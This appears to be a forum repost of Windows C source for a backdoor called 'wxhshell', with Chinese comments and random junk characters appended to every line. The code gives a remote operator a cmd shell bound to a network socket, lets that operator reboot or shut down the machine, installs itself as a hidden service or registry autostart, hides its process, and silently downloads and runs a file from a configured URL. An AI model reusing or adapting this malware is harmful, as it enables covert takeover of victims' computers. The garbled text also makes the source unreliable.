  // 帮助 d}<-G.&_  
  case '?': { (bAw>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d' l|oeS  
    break; CU@}{}Yl  
  } mo"1|Q&  
  // 安装 y\_k8RqE^  
  case 'i': { #ri;{d^6  
    if(Install()) m4?a'z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qIwsK\^p  
    else l4ru0V8s7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3fxcH  
    break; IZBY*kr  
    } Y+{jG(rg.F  
  // 卸载 NUFW SL>  
  case 'r': { `_SV1|=="8  
    if(Uninstall()) Z8`Y}#Za[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uM,R+)3  
    else X#tCIyK,nV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?2,{+d |  
    break; &qP0-x)  
    } bnZ H  
  // 显示 wxhshell 所在路径 nP_)PDTFp  
  case 'p': { ART0o7B  
    char svExeFile[MAX_PATH]; BS3{TGn  
    strcpy(svExeFile,"\n\r"); y@rg_Paq  
      strcat(svExeFile,ExeFile); 6+4SMf3  
        send(wsh,svExeFile,strlen(svExeFile),0); <c$rfjM+JU  
    break; iKu4s  
    } #, h0K  
  // 重启 W3jwc{lj  
  case 'b': { C{~O!^2G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7^<6|>j4  
    if(Boot(REBOOT)) 3mhjwgP<nn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,wZNX  
    else { s8dP=_ `  
    closesocket(wsh); Z1_F)5pn  
    ExitThread(0); :eIQF7-  
    } 0i>p1/kv  
    break; ~ R eX$9  
    } >[l2KD  
  // 关机 1A[(RT]  
  case 'd': { J-qUJX~4c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S6Y:Z0  
    if(Boot(SHUTDOWN)) $\q.Zb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f)mOeD*u|  
    else { 0Oa&vx  
    closesocket(wsh); -us:!p1T  
    ExitThread(0); b[J0+l\!"  
    } /=g/{&3[a>  
    break; Yl =-j  
    } >[;L.  
  // 获取shell 8nwps(3  
  case 's': { r7FJqd  
    CmdShell(wsh); TfHL'u9B  
    closesocket(wsh); 4s@Tn>%SP  
    ExitThread(0); 'Fql;&U >  
    break; Q%524%f$  
  } q]U!n  
  // 退出 ]D4lZK>H  
  case 'x': { @^/aS;B$>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^7yaM B!  
    CloseIt(wsh); hkdF  
    break; FY`t7_Y?GV  
    } +X`&VO6~  
  // 离开 R{ udV  
  case 'q': { Qq'e#nI@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GWLdz0`2_  
    closesocket(wsh); =~5N/!  
    WSACleanup(); 5H 1N]v+  
    exit(1); _l+C0lQl=  
    break; tEt46]{  
        } w O Ou/Y  
  } P-<1vfThH  
  }  n (|rs  
Ow(aRWUZD_  
  // 提示信息 =zu;npM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C_JO:$\rE  
} Kv)}  
  } Fv$A%6;W  
PpH ;p.-!d  
  return; {rK]Q! yj  
} E M`'=<)V  
LzD RyL  
// shell模块句柄 mX!*|$bs  
int CmdShell(SOCKET sock) sWB@'P:x  
{ ([^#.x)hz  
STARTUPINFO si; I@\D tQZ  
ZeroMemory(&si,sizeof(si)); [!MS1v c;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9dm<(I}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \&~YFjB  
PROCESS_INFORMATION ProcessInfo; RAnF=1[v  
char cmdline[]="cmd"; 1;'-$K`}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }h1eB~6M  
  return 0; bYZU}Kl;(  
} \98N8p;,I  
><S(n#EB  
// 自身启动模式 o 0T1pGs'  
int StartFromService(void) gf?N(,  
{ i=1crJ:  
typedef struct i+pQ 7wx  
{ c&,q`_t  
  DWORD ExitStatus; oz]&=>$1I  
  DWORD PebBaseAddress; \ \Tz'>[\  
  DWORD AffinityMask; tCm]1ZgRW  
  DWORD BasePriority; f/s"2r  
  ULONG UniqueProcessId; nA{yH}D4  
  ULONG InheritedFromUniqueProcessId; :KR KD  
}   PROCESS_BASIC_INFORMATION; 0S9~db  
7 \[fjCg\w  
PROCNTQSIP NtQueryInformationProcess; 3o0ZS^#eB  
qozvNJm)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y. 1F@w|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2i;ox*SfpU  
cD=IFOB*GD  
  HANDLE             hProcess; QleVW  
  PROCESS_BASIC_INFORMATION pbi; z@w}+fYO  
JZ~wacDd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u~2]$ /U  
  if(NULL == hInst ) return 0; :Ocw+X3  
[~X&J#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .gzfaxi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ``I[1cC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MJrPI a[pN  
U^BM5b  
  if (!NtQueryInformationProcess) return 0; O1)\!=& .  
T ,jb%uPcE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sHMO9{[7H  
  if(!hProcess) return 0; VumM`SH  
mwyB~,[d+W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A_WaRYG  
F3]VSI6^E,  
  CloseHandle(hProcess); Lq1?Y  
K#AexA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &:IcwD&  
if(hProcess==NULL) return 0; 1r_V$o$  
;ISe@ yR;  
HMODULE hMod; k<CbI V  
char procName[255]; mF|KjX~s  
unsigned long cbNeeded; )7[#Ti  
2ZEGE+0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); erbk (  
rf%VSxD9  
  CloseHandle(hProcess); p\F%Nj,  
p!=O>b_f  
if(strstr(procName,"services")) return 1; // 以服务启动 7S&$M-k  
D4{KU%Xp&  
  return 0; // 注册表启动 QxGcRlpLK  
} %[s%H)e)  
?FjnG_Uz`D  
// 主模块 ^jUw4Dj~-q  
int StartWxhshell(LPSTR lpCmdLine) PgGUs4[  
{ -zn_d]NV  
  SOCKET wsl; 5V\",PA W  
BOOL val=TRUE; JAP(J~  
  int port=0; 3fB]uq+eD%  
  struct sockaddr_in door; (Nk[ys}%*  
v3FdlE  
  if(wscfg.ws_autoins) Install(); 2<y9xvp  
|#M|"7;2z  
port=atoi(lpCmdLine); *8m['$oyV  
qk3|fW/-  
if(port<=0) port=wscfg.ws_port; DcdEt=\)h  
r 1jt~0&K  
  WSADATA data; A_9J ~3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^3S&LC 1;|  
V$w lOMp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =-X-${/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :$,MAQ'9  
  door.sin_family = AF_INET; o|xZ?#^h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dFDf/tH  
  door.sin_port = htons(port); i}P{{kMJ  
;RX u}pd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8.8t$  
closesocket(wsl); m&gB;g3:  
return 1; ]d@>vzCO  
} fByf~iv,  
EY<"B2_%  
  if(listen(wsl,2) == INVALID_SOCKET) { m 8b,_1  
closesocket(wsl); !khEep}  
return 1; 1' v!~*af  
} 6 h,!;`8O  
  Wxhshell(wsl); 3NDddrL9  
  WSACleanup(); Z+J4 q9^$  
\`xlD&F@U  
return 0; -f mJkI  
7>BfHb  
} RR ^7/-  
DyiJ4m}kh  
// 以NT服务方式启动 `o295eiY(b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9J?s:"j  
{ -~lq <M  
DWORD   status = 0; xk% 62W  
  DWORD   specificError = 0xfffffff; 25-h5$s  
megTp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AH5;6Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; htR.p7&Tn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p/VVb%  
  serviceStatus.dwWin32ExitCode     = 0; F]?] |nZZ  
  serviceStatus.dwServiceSpecificExitCode = 0; ,NS*`F[O  
  serviceStatus.dwCheckPoint       = 0; O^row1D_  
  serviceStatus.dwWaitHint       = 0; lV %1I@[M  
_W_< bI34  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SeDk/}/~e  
  if (hServiceStatusHandle==0) return; ;%^=V#  
->{-yh]jv  
status = GetLastError(); #0[^jJ3J  
  if (status!=NO_ERROR) E'DHO2 Y  
{ |?2fq&2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7<;oz30G!L  
    serviceStatus.dwCheckPoint       = 0; yG/!K uA  
    serviceStatus.dwWaitHint       = 0; qrw  
    serviceStatus.dwWin32ExitCode     = status; *|dK1'Xr  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pap6JR{7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2a48(~<_  
    return; U|%}B(  
  } +jwHYfAK)  
H4AT>}ri  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; tLa%8@;'$  
  serviceStatus.dwCheckPoint       = 0; |oXd4  
  serviceStatus.dwWaitHint       = 0; ][v]Nk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LrbD%2U$j5  
} A8Q^y AP^  
;VAyH('~  
// 处理NT服务事件,比如:启动、停止 79W^;\3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~~h#2SX  
{ ~8u *sy  
switch(fdwControl) "^\q{S&q2P  
{ ,_RNZ sa;&  
case SERVICE_CONTROL_STOP: %csrNf  
  serviceStatus.dwWin32ExitCode = 0; Dz6xx?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m\0_1 #(  
  serviceStatus.dwCheckPoint   = 0; /~{`!30  
  serviceStatus.dwWaitHint     = 0; Rt+-ud{O  
  { U\tx{CsSz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l9&k!kF`  
  } qrlC U4  
  return; 9DNp  
case SERVICE_CONTROL_PAUSE: tj[E!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &~Hed_  
  break; znwKwc8,  
case SERVICE_CONTROL_CONTINUE: Nb`qM]&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (;},~( 2B  
  break; ` z0q:ME  
case SERVICE_CONTROL_INTERROGATE: /GC&@y0yi  
  break; F9u?+y-xb  
}; 5MAfuHq^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^F+7<$ 2  
} TjEXR$:<  
=#S.t:HQ*  
// 标准应用程序主函数 ;: 2U}p^-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kY~4AH  
{ j/*1zu8Y  
*b. >  
// 获取操作系统版本 YiDOV)  
OsIsNt=GetOsVer(); '6 F-%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =x\`yxsG  
7*{f*({  
  // 从命令行安装 QH9t |l  
  if(strpbrk(lpCmdLine,"iI")) Install(); l\*9rs:!  
@5S'5)4pB  
  // 下载执行文件 *kl  :/#  
if(wscfg.ws_downexe) { $}gM JG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k_=yb^6[U  
  WinExec(wscfg.ws_filenam,SW_HIDE); j fY7ich  
} Ey|_e3Lf[  
vyIH<@@p7  
if(!OsIsNt) { E>|X'I?r^  
// 如果时win9x,隐藏进程并且设置为注册表启动 4?'vP'  
HideProc(); k6;bUOo  
StartWxhshell(lpCmdLine); M}V!;o<t^  
} Ic0Y  
else gVOAB-nw  
  if(StartFromService()) 0<-E)\:[g  
  // 以服务方式启动 F+V!p4G  
  StartServiceCtrlDispatcher(DispatchTable); L>h8>JvQ  
else pi?MAE*f  
  // 普通方式启动 GT&}Burl/n  
  StartWxhshell(lpCmdLine); -SrZ^  
F^ 75y?  
return 0; 0 Uropam  
}
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只看该作者 1 发表于: 2006-10-10
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